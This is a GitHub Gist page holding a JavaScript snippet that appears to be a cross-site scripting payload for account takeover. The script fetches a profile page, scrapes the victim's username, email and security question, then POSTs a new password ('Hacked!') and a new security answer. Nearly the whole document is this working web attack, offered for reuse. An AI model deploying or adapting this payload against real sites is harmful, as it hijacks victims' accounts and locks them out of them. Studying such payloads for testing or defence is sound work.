Skip to content

Instantly share code, notes, and snippets.

@felmoltor
Created August 23, 2023 14:50
Show Gist options
  • Save felmoltor/2f050b18036b46ed85559baeea19e1b2 to your computer and use it in GitHub Desktop.
Save felmoltor/2f050b18036b46ed85559baeea19e1b2 to your computer and use it in GitHub Desktop.
Change user password and security answer
fetch('/profile.php').then(function (response) {
return response.text();
}).then(function (html) {
// This is the HTML from our response as a text string
const parser = new DOMParser();
const pd = parser.parseFromString(html, "text/html");
sq=pd.getElementById('security_question').value;
sa=pd.getElementById('security_answer').value;
email=pd.getElementById('email').value;
username=pd.getElementById('username').value;
data=new URLSearchParams({
'username': username,
'password': 'Hacked!',
'email': email,
'security_question': sq,
'security_answer': 'Hax0red as well'
});
fetch('/profile.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'credentials': 'include'
},
body: data,
}).then((response) => response)
.then((data) => {
console.log('Success changing password:', data);
})
.catch((error) => {
console.error('Error:', error);
})
}).catch(function (err) {
// There was an error
console.warn('Something went wrong on GET profile.php.', err);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment